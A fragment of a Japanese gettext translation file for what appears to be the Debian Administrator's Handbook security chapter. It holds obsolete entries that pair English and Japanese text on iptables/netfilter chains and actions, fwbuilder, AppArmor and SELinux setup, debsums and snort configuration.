#~ " #include <abstractions/base>\n"
#~ " #include <abstractions/bash>\n"
#~ "\n"
#~ " /bin/dash rix,\n"
#~ " /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#~ " /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#~ " /sbin/dhclient-script r,\n"
#~ "\n"
#~ " }\n"
#~ "}\n"
#~ " "
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#~| msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. "
#~ msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. "
#~ msgstr "管理者ならば、SELinux に関する専用の Debian wiki ページおよび Russell Coker のブログを見るべきです。Russell Coker は SELinux サポートに取り組んでいる、最も活動的な Debian 開発者の 1 人です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "mod-security"
#~ msgstr "mod-security"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "Autopsy Forensic Browser"
#~ msgstr "Autopsy Forensic Browser"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "The Sleuth Kit"
#~ msgstr "The Sleuth Kit"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "The lack of a standard configuration (and the “process, not product” motto) explains the lack of a turn-key solution. There are, however, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them."
#~ msgstr "標準的な設定が存在しないということは (そして「過程であって、成果ではない」モットーに従うということは) ややこしい初期設定の不要な解決策が存在しないということを意味します。しかしながら、netfilter ファイアウォールの設定を簡単に行うためのツールが存在し、ツールはフィルタリングルールをグラフィカルに表現する機能を備えています。fwbuilder がこの種のツールの中で最良のツールであることは疑いありません。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "netfilter"
#~ msgstr "netfilter"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "ip6tables"
#~ msgstr "ip6tables"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "netfilter uses four distinct tables which store rules regulating three kinds of operations on packets:"
#~ msgstr "netfilter は以下に示す 4 種類の異なるテーブルを使います。テーブルには、パケットに対する 3 種類の操作を規制するためのルールを保存します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "filter concerns filtering rules (accepting, refusing or ignoring a packet);"
#~ msgstr "filter。フィルタリングルール (パケットを受け入れる、拒否する、無視するなど) に関係します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "nat concerns translation of source or destination addresses and ports of packages;"
#~ msgstr "nat。パケットの送信元や宛先アドレスおよびポート番号の変換に関係します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "mangle concerns other changes to the IP packets (including the ToS — Type of Service — field and options);"
#~ msgstr "mangle。IP パケットに対するその他の変換に関係します (ToS すなわち Type of Service フィールドやオプションの変換も含まれます)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "raw allows other manual modifications on packets before they reach the connection tracking system."
#~ msgstr "raw。パケットが接続追跡システムに到達する前にパケットを手作業で別の変更を加えることが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "Each table contains lists of rules called chains. The firewall uses standard chains to handle packets based on predefined circumstances. The administrator can create other chains, which will only be used when referred to by one of the standard chains (either directly or indirectly)."
#~ msgstr "それぞれのテーブルには、チェインと呼ばれるルールのリストが含まれます。ファイアウォールは事前に定義された状況に基づいてパケットを取り扱うために標準的なチェインを使います。管理者は他のチェインを作成することが可能です。このチェインを使うには、標準的なチェインの 1 つから (直接的か間接的かのいずれか一方の方法で) このチェインを参照します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "The filter table has three standard chains:"
#~ msgstr "filter テーブルは以下に示す 3 種類の標準的なチェインを備えています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "INPUT: concerns packets whose destination is the firewall itself;"
#~ msgstr "INPUT。宛先がファイアウォール自身のパケットに関係します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "OUTPUT: concerns packets emitted by the firewall;"
#~ msgstr "OUTPUT。ファイアウォールから送信されたパケットに関係します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "FORWARD: concerns packets transiting through the firewall (which is neither their source nor their destination)."
#~ msgstr "FORWARD。ファイアウォールを通過するパケット (送信元や宛先がファイアウォールでないパケット) に関係します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "The nat table also has three standard chains:"
#~ msgstr "nat テーブルは以下に示す 3 種類の標準的なチェインを備えています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "PREROUTING: to modify packets as soon as they arrive;"
#~ msgstr "PREROUTING。パケットの到着直後にパケットを修正します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "POSTROUTING: to modify packets when they are ready to go on their way;"
#~ msgstr "POSTROUTING。パケットを宛先に送信する準備が完了した時にパケットを修正します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "OUTPUT: to modify packets generated by the firewall itself."
#~ msgstr "OUTPUT。ファイアウォールそれ自身によって生成されたパケットを修正します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "How netfilter chains are called"
#~ msgstr "netfilter チェインの呼び出される方法"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "Each chain is a list of rules; each rule is a set of conditions and an action to execute when the conditions are met. When processing a packet, the firewall scans the appropriate chain, one rule after another; when the conditions for one rule are met, it “jumps” (hence the -j option in the commands) to the specified action to continue processing. The most common behaviors are standardized, and dedicated actions exist for them. Taking one of these standard actions interrupts the processing of the chain, since the packet's fate is already sealed (barring an exception mentioned below):"
#~ msgstr "各チェインはルールのリストです。そして各ルールは一連の条件とその条件に一致する場合に実行される動作です。パケットを処理する場合、ファイアウォールは適切なチェインを 1 つずつ検査します。そしてあるルールの条件に一致したら、処理を続けるために特定の動作に「ジャンプ」します (このためコマンドには -j オプションが存在します)。最も一般的な挙動は標準化されており、それぞれの挙動に対する専用の動作が存在します。以下に示す標準的な動作が選択されると、チェインの処理は中止されます。なぜなら、パケットの運命は既に決まっているからです (以下で言及されている除外に一致する場合を除きます)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "ACCEPT: allow the packet to go on its way;"
#~ msgstr "ACCEPT。対象のパケットの通過を許可します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "REJECT: reject the packet with an ICMP error packet (the --reject-with type option to iptables allows selecting the type of error);"
#~ msgstr "REJECT。対象のパケットを拒否して ICMP エラーを返答します (iptables の --reject-with type オプションを使えば返答するエラーの種類を選ぶことが可能です)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "DROP: delete (ignore) the packet;"
#~ msgstr "DROP。対象のパケットを削除 (無視) します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "LOG: log (via syslogd) a message with a description of the packet; note that this action does not interrupt processing, and the execution of the chain continues at the next rule, which is why logging refused packets requires both a LOG and a REJECT/DROP rule;"
#~ msgstr "LOG。(syslogd を使って) 対象のパケットの説明とメッセージをログに記録します。ログ記録が選択された場合、チェインの処理は中止されず続行されて次のルールに進む点に注意してください。このため、拒否されたパケットをログに記録するには LOG と REJECT/DROP ルールの両方が必要です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "ULOG: log a message via ulogd, which can be better adapted and more efficient than syslogd for handling large numbers of messages; note that this action, like LOG, also returns processing to the next rule in the calling chain;"
#~ msgstr "ULOG。ulogd を介してメッセージをログに記録します。ulogd は大量のメッセージを処理する場合に syslogd よりも効率が良いです。LOG と同様、この場合も処理は呼び出されたチェインの次のルールに進む点に注意してください。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "chain_name: jump to the given chain and evaluate its rules;"
#~ msgstr "chain_name。指定したチェインに飛んで、そのチェインのルールを評価します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "RETURN: interrupt processing of the current chain, and return to the calling chain; in case the current chain is a standard one, there's no calling chain, so the default action (defined with the -P option to iptables) is executed instead;"
#~ msgstr "RETURN。現在のチェインの処理を中止し、呼び出し元のチェインに戻ります。現在のチェインが標準的なチェインの場合、呼び出し元のチェインは存在しませんから、代わりにデフォルト動作 (iptables の -P オプションで定義された動作) が実行されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "SNAT (only in the nat table): apply Source NAT (extra options describe the exact changes to apply);"
#~ msgstr "SNAT (nat テーブルの中だけでのみ使うことが可能です)。Source NAT を適用します (追加オプションを使って適用する正確な変更を設定します)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "DNAT (only in the nat table): apply Destination NAT (extra options describe the exact changes to apply);"
#~ msgstr "DNAT (nat テーブルの中だけでのみ使うことが可能です)。Destination NAT を適用します (追加オプションを使って適用する正確な変更を設定します)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "MASQUERADE (only in the nat table): apply masquerading (a special case of Source NAT);"
#~ msgstr "MASQUERADE (nat テーブルの中だけでのみ使うことが可能です)。マスカレードを適用します (マスカレードは Source NAT の特別な場合です)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "REDIRECT (only in the nat table): redirect a packet to a given port of the firewall itself; this can be used to set up a transparent web proxy that works with no configuration on the client side, since the client thinks it connects to the recipient whereas the communications actually go through the proxy."
#~ msgstr "REDIRECT (nat テーブルの中だけでのみ使うことが可能です)。ファイアウォールの指定したポートに対象のパケットを転送します。さらにこれを使って、クライアント側に特別な設定をせずとも動作する透過的なウェブプロキシをセットアップすることが可能です。なぜなら、クライアントは宛先に接続していると思っていても、実際の通信はプロキシを通過しているからです。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "Other actions, particularly those concerning the mangle table, are outside the scope of this text. The iptables 8 and ip6tables 8 have a comprehensive list."
#~ msgstr "その他の動作 (特に mangle テーブルに関する動作) は本書の範囲を超えています。iptables 8 と ip6tables 8 には包括的なリストが含まれています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#~ msgid "The iptables and ip6tables commands allow manipulating tables, chains and rules. Their -t table option indicates which table to operate on (by default, filter)."
#~ msgstr "iptables と ip6tables コマンドを使って、テーブル、チェイン、ルールを操作することが可能です。-t table オプションで操作対象のテーブルを指定します (デフォルトの場合、filter テーブルを操作します)。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "Commands"
#~ msgstr "コマンド"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "The -N chain option creates a new chain. The -X chain deletes an empty and unused chain. The -A chain rule adds a rule at the end of the given chain. The -I chain rule_num rule option inserts a rule before the rule number rule_num. The -D chain rule_num (or -D chain rule) option deletes a rule in a chain; the first syntax identifies the rule to be deleted by its number, while the latter identifies it by its contents. The -F chain option flushes a chain (deletes all its rules); if no chain is mentioned, all the rules in the table are deleted. The -L chain option lists the rules in the chain. Finally, the -P chain action option defines the default action, or “policy”, for a given chain; note that only standard chains can have such a policy."
#~ msgstr "-N chain オプションは新しいチェインを作成します。-X chain は空で使われていないチェインを削除します。-A chain rule はチェインの最後にルールを追加します。-I chain rule_num rule オプションは指定したルール番号 rule_num の前にルールを挿入します。-D chain rule_num (または -D chain rule) オプションはチェインからルールを削除します。ここで rule_num を使う構文はルール番号を指定してルールを削除し、rule を使う構文はルール内容を指定してルールを削除します。-F chain オプションはチェインをクリアします (チェインに含まれるすべてのルールを削除します)。ここでチェインを指定しなかった場合、テーブルに含まれるすべてのルールを削除します。-L chain オプションはチェインに含まれるルールを表示します。最後に、-P chain action オプションは指定したチェインのデフォルト動作を意味する「ポリシー」を定義します。ここでポリシーを設定できるのは標準的なチェインだけという点に注意してください。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "Rules"
#~ msgstr "ルール"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "Each rule is expressed as conditions -j action action_options. If several conditions are described in the same rule, then the criterion is the conjunction (logical and) of the conditions, which is at least as restrictive as each individual condition."
#~ msgstr "それぞれのルールは conditions -j action action_options の形で指定します。1 つのルールに複数の条件を指定する場合、複数の条件は結合 (論理 and) されます。つまり、各条件の結果をさらに限定することを意味します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "The -p protocol condition matches the protocol field of the IP packet. The most common values are tcp, udp, icmp, and icmpv6. Prefixing the condition with an exclamation mark negates the condition, which then becomes a match for “any packets with a different protocol than the specified one”. This negation mechanism is not specific to the -p option and it can be applied to all other conditions too."
#~ msgstr "-p protocol は指定されたプロトコルフィールドに一致する IP パケットを選択する条件です。protocol で最もよく使われる値は tcp、udp、icmp、icmpv6 です。この条件の前に感嘆符を付けることで、この条件を否定することになります。つまり「protocol で指定されたプロトコル以外のすべてのプロトコルを使ったパケット」を選択する条件になります。条件否定の方法は -p オプションに限らず、以降で紹介する他のすべての条件にも適用することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "The -s address or -s network/mask condition matches the source address of the packet. Correspondingly, -d address or -d network/mask matches the destination address."
#~ msgstr "-s address または -s network/mask は指定された送信元アドレスに一致するパケットを選択する条件です。同様に、-d address または -d network/mask は指定された宛先アドレスに一致するパケットを選択する条件です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables;
# Tag: L-CFMD;
#~ msgid "The -i interface condition selects packets coming from the given network interface. -o interface selects packets going out on a specific interface."
#~ msgstr "-i interface は指定されたネットワークインターフェースを通じて受信したパケットを選択する条件です。-o interface は指定されたインターフェースを通じて送信されるパケットを選択する条件です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "There are more specific conditions, depending on the generic conditions described above. For instance, the -p tcp condition can be complemented with conditions on the TCP ports, with clauses such as --source-port port and --destination-port port."
#~ msgstr "上で説明した一般的な条件ごとに、さらに条件の範囲を狭めるためのオプションが数多く存在します。たとえば -p tcp 条件に加えて TCP ポート番号を指定することで、選択するパケットをさらに絞り込むことが可能です。これを行うには、--source-port port と --destination-port port を使います。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Ref: http://www.iptables.info/en/connection-state.html
# Ref: # modinfo ipt_conntrack;
# Tag: L-CFMD;
# Tag: PTAL;
#~ msgid "The --state state condition matches the state of a packet in a connection (this requires the ipt_conntrack kernel module, for connection tracking). The NEW state describes a packet starting a new connection; ESTABLISHED matches packets belonging to an already existing connection, and RELATED matches packets initiating a new connection related to an existing one (which is useful for the ftp-data connections in the “active” mode of the FTP protocol)."
#~ msgstr "--state state は指定されたパケット状態に一致するパケットを選択する条件です (接続追跡を行うための ipt_conntrack カーネルモジュールが必要です)。NEW 状態は新しい接続を開始するパケット、ESTABLISHED 状態は既に存在する接続に関連するパケットを意味します。RELATED 状態は既存の接続に関連した新しい接続を開始するパケットを意味します (これは FTP プロトコルの「アクティブ」モードを使った ftp-data 接続の際に有益です)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "The previous section lists available actions, but not their respective options. The LOG action, for instance, has the following options:"
#~ msgstr "前節では利用できる標準的な動作を説明しましたが、その動作に対するオプションを説明していませんでした。たとえば、LOG 動作は以下のオプションを取ることが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "--log-level, with default value warning, indicates the syslog severity level;"
#~ msgstr "--log-level は記録する syslog メッセージの重要度を指定します。デフォルトの場合 warning 以上の重要度を持つメッセージが記録されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "--log-prefix allows specifying a text prefix to differentiate between logged messages;"
#~ msgstr "--log-prefix はログに記録するメッセージを特徴づけるために行の先頭に付けるテキストを指定します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "--log-tcp-sequence, --log-tcp-options and --log-ip-options indicate extra data to be integrated into the message: respectively, the TCP sequence number, TCP options, and IP options."
#~ msgstr "--log-tcp-sequence、--log-tcp-options、--log-ip-options はログメッセージに含める追加的なデータを指定します。具体的に言えば、それぞれ TCP シーケンス番号、TCP オプション、IP オプションをログメッセージに含めます。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "The DNAT action provides the --to-destination address:port option to indicate the new destination IP address and/or port. Similarly, SNAT provides --to-source address:port to indicate the new source IP address and/or port."
#~ msgstr "DNAT 動作は以下のオプションを取ることが可能です。--to-destination address:port は新しい宛先 IP アドレスおよびポート番号を指定します。同様に、SNAT 動作は以下のオプションを取ることが可能です。--to-source address:port は新しい送信元 IP アドレスおよびポート番号を指定します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 iptables-extensions;
# Tag: L-CFMD;
#~ msgid "The REDIRECT action (only available if NAT is available) provides the --to-ports port(s) option to indicate the port, or port range, where the packets should be redirected."
#~ msgstr "REDIRECT 動作は以下のオプションを取ることが可能です。--to-ports port(s) はパケットの転送先ポート番号またはポート番号範囲を指定します (REDIRECT 動作は NAT を有効化している場合にのみ使うことが可能です)。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "Creating Rules"
#~ msgstr "ルールの作成"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "The principle is simple. In the first step, one needs to describe all the elements that will be involved in the actual rules:"
#~ msgstr "fwbuilder の原理は簡単です。最初に、以下のような実際のルールに関連するすべての要素を宣言する必要があります。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "the firewall itself, with its network interfaces;"
#~ msgstr "ネットワークインターフェースとそれを使うファイアウォール自身。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "the networks, with their corresponding IP ranges;"
#~ msgstr "対応する IP アドレス範囲とそれを使うネットワーク。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "the servers;"
#~ msgstr "サーバ。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "the ports belonging to the services hosted on the servers."
#~ msgstr "サーバでホストされているサービスに対応するポート番号。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "The rules are then created with simple drag-and-drop actions on the objects. A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured."
#~ msgstr "これらの要素に対する単純なドラッグアンドドロップ動作を使ってルールを作成します。いくつかのコンテキストメニューを使ってルールの条件を変更する (たとえば条件を否定する) ことが可能です。その後、動作を選んで設定する必要があります。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "As far as IPv6 is concerned, one can either create two distinct rulesets for IPv4 and IPv6, or create only one and let fwbuilder translate the rules according to the addresses assigned to the objects."
#~ msgstr "IPv6 に関心があるなら、IPv4 と IPv6 で別々のルールセットを作成するか、片方のルールセットだけを作成して要素に割り当てられたアドレスに応じて fwbuilder にそのルールを変換してもらうかのどちらか一方を行うことが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "Fwbuilder's main window"
#~ msgstr "fwbuilder のメインウィンドウ"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "fwbuilder can then generate a script configuring the firewall according to the rules that have been defined. Its modular architecture gives it the ability to generate scripts targeting different systems (iptables for Linux, ipf for FreeBSD and pf for OpenBSD)."
#~ msgstr "これで fwbuilder は定義されたルールに従ってファイアウォールを設定するためのスクリプトを生成することが可能になりました。モジュール式のアーキテクチャのおかげで、fwbuilder はさまざまなファイアウォールシステム (Linux の iptables、FreeBSD の ipf、OpenBSD の pf) を設定するためのスクリプトを生成することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid ""
#~ "# apt install apparmor apparmor-profiles apparmor-utils\n"
#~ "[...]\n"
#~ "# perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n"
#~ "# update-grub\n"
#~ ""
#~ msgstr ""
#~ "# apt install apparmor apparmor-profiles apparmor-utils\n"
#~ "[...]\n"
#~ "# perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n"
#~ "# update-grub\n"
#~ ""
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#~ msgid ""
#~ "\n"
#~ "# aa-unconfined\n"
#~ "801 /sbin/dhclient not confined\n"
#~ "890 /sbin/rpcbind not confined\n"
#~ "899 /sbin/rpc.statd not confined\n"
#~ "929 /usr/sbin/sshd not confined\n"
#~ "941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'\n"
#~ "988 /usr/sbin/minissdpd not confined\n"
#~ "1276 /usr/sbin/exim4 not confined\n"
#~ "1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined\n"
#~ "1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined\n"
#~ "19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined\n"
#~ " "
#~ msgstr ""
#~ "\n"
#~ "# aa-unconfined\n"
#~ "801 /sbin/dhclient not confined\n"
#~ "890 /sbin/rpcbind not confined\n"
#~ "899 /sbin/rpc.statd not confined\n"
#~ "929 /usr/sbin/sshd not confined\n"
#~ "941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'\n"
#~ "988 /usr/sbin/minissdpd not confined\n"
#~ "1276 /usr/sbin/exim4 not confined\n"
#~ "1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined\n"
#~ "1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined\n"
#~ "19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined\n"
#~ " "
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#~ msgid "The program wants to create the /run/dhclient-eth0.pid file. If we allow the creation of this specific file only, the program will not work when the user will use it on another network interface. Thus we select “New” to replace the filename with the more generic “/run/dhclient*.pid” before recording the rule with “Allow”."
#~ msgstr "ここで dhclient は /run/dhclient-eth0.pid ファイルを作成しようとしています。/run/dhclient-eth0.pid だけの作成を許可した場合、ユーザが eth0 以外のネットワークインターフェースに対して dhclient を実行する際に dhclient が動作しなくなるでしょう。このため、ここでは「New」を選択してファイル名をより一般的な「/run/dhclient*.pid」に変更した後、「Allow」を選択してこの規則を適用しています。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "CAUTION Reference policy not in jessie"
#~ msgstr "CAUTION jessie にはリファレンスポリシーが含まれません"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://packages.debian.org/search?lang=ja&searchon=sourcenames&keywords=refpolicy;
#~ msgid "Unfortunately the maintainers of the refpolicy source package did not handle release critical bugs on their package and the package got removed from jessie. This means that the selinux-policy-* packages are currently not installable in jessie and need to be fetched from another place. Hopefully they will come back in one of the point releases or in jessie-backports. In the meantime, you can grab them from unstable."
#~ msgstr "残念なことに refpolicy ソースパッケージのメンテナがリリースクリティカルバグを修正しなかったため、refpolicy ソースパッケージは jessie から削除されました。このため、現在のところ selinux-policy-* パッケージは jessie に含まれず、別の場所から selinux-policy-* パッケージを入手してインストールする必要があります。うまくいけば、selinux-policy-* パッケージはポイントリリースの 1 つか jessie-backports に含まれることでしょう。それまでの間は、不安定版から selinux-policy-* パッケージを入手することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "This sad situation at least proves that SELinux is not very popular in the set of users/developers who are running the development versions of Debian. Thus, if you opt to use SELinux, you should expect the default policy to not work perfectly and you will have to invest quite some time to make it suitable to your specific needs."
#~ msgstr "この悲しい状況は少なくとも SELinux は Debian の開発版を使っているユーザおよび開発者から高評価を得られないでいることを示しています。そんなわけで、SELinux を使うことを決めた場合、デフォルトポリシーが完全に動くことを期待せず、自分の要求に適したポリシーを作るまでにかなりの時間を費やす覚悟が必要です。"
#~ msgid "SNAT (only in the nat table, therefore only in IPv4 on Wheezy — NAT support for IPv6 appeared in the Linux 3.7 kernel): apply Source NAT (extra options describe the exact changes to apply);"
#~ msgstr "SNAT (nat テーブル、つまり Wheezy の IPv4 の中だけでのみ使うことが可能です — IPv6 の NAT サポートは Linux 3.7 カーネルから導入されました)。これは Source NAT を適用します (追加オプションを使って適用する正確な変更を設定します)。"
#~ msgid "Versions of the fwbuilder package since Squeeze contain both the graphical interface and the modules for each firewall system (these were previously split over several packages, one for each target system):"
#~ msgstr "Squeeze 以降の fwbuilder パッケージには、グラフィカルインターフェースとさまざまなファイアウォールシステム用のモジュール (以前、これらはシステムごとに複数のパッケージに分割されていました) が含まれます。"
#~ msgid "If the firewall is meant to protect an intermittent PPP network connection, the simplest way to deploy the script is to install it as /etc/ppp/ip-up.d/0iptables (note that only files without a dot in their name are taken into account). The firewall will thus be reloaded every time a PPP connection is established."
#~ msgstr "ファイアウォールが断続的な PPP ネットワーク接続を保護するように設定されていた場合、スクリプトを /etc/ppp/ip-up.d/0iptables に配置することが最も単純な方法です (名前にドットを含まないファイルだけが考慮されます)。ファイアウォールは PPP 接続が確立された時点で毎回再読み込みされます。"
#~ msgid "TIP Your logs as screen background"
#~ msgstr "TIP 画面背景にログを表示する"
#~ msgid "Some administrators like seeing their log messages scroll by in real time; the root-tail command (in the root-tail) package can be used to integrate the logs into the background of their graphical desktop. The xconsole program (in the x11-apps package) can also have them scrolling in a small window. Messages are directly taken from syslogd via the /dev/xconsole named pipe."
#~ msgstr "一部の管理者はリアルタイムでログメッセージをスクロール表示したいと思っています。root-tail コマンド (root-tail に含まれます) パッケージを使って、グラフィカルデスクトップの背景にログを表示することが可能です。xconsole プログラム (x11-apps パッケージに含まれます) も小さなウィンドウにログをスクロール表示させることが可能です。メッセージは /dev/xconsole 名前付きパイプを使って直接 syslogd から取得されます。"
#~ msgid "root-tail"
#~ msgstr "root-tail"
#~ msgid "In addition, the md5sums files are stored on the hard disk; a thorough attacker will therefore update these files so they contain the new control sums for the subverted files."
#~ msgstr "加えて、md5sums ファイルはハードディスク上に保存されます。このため、完璧主義の攻撃者なら md5sums ファイルの中の指紋を改竄したファイルに対応する新しい指紋で置き換えるでしょう。"
#~ msgid "The first drawback can be avoided by asking debsums to base its checks on a .deb package instead of relying on the md5sums file. But that requires downloading the matching .deb files first:"
#~ msgstr "最初の欠点は debsums が確認を行う際に md5sums ファイルを参照するのではなく .deb パッケージを参照すれば避けることが可能です。しかしこの場合、先に対応する .deb ファイルをダウンロードすることが必要になります。"
#~ msgid "It is also worth noting that, in its default configuration, debsums automatically generates the missing md5sums files whenever a package is installed using APT."
#~ msgstr "注目すべき点として、デフォルト状態の debsums は APT を使ってパッケージがインストールされていた場合でも存在しない md5sums ファイルを自動的に生成します。"
#~ msgid "Its configuration requires describing the range of addresses that the local network covers. In practice, this means the set of all potential attack targets. Other important parameters can be configured with dpkg-reconfigure snort, including the network interface to monitor. This will often be eth0 for an Ethernet connection, but other possibilities exist such as ppp0 for an ADSL or PSTN (Public Switched Telephone Network, or good old dialup modem), or even wlan0 for some wireless network cards."
#~ msgstr "snort の設定にローカルネットワークをカバーするアドレス範囲を追加します。具体的に言えば、アドレス範囲とは潜在的に攻撃対象となりうるすべてのアドレスを意味します。他の重要なパラメータは dpkg-reconfigure snort を使って設定します。これには監視するネットワークインターフェースが含まれます。監視対象のネットワークインターフェースは通常イーサネット接続用の eth0 ですが、他の可能性も存在します。たとえば ADSL や PSTN (Public Switched Telephone Network、かなり古いダイヤルアップモデム) 用の ppp0、無線ネットワークカード用の wlan0 などです。"
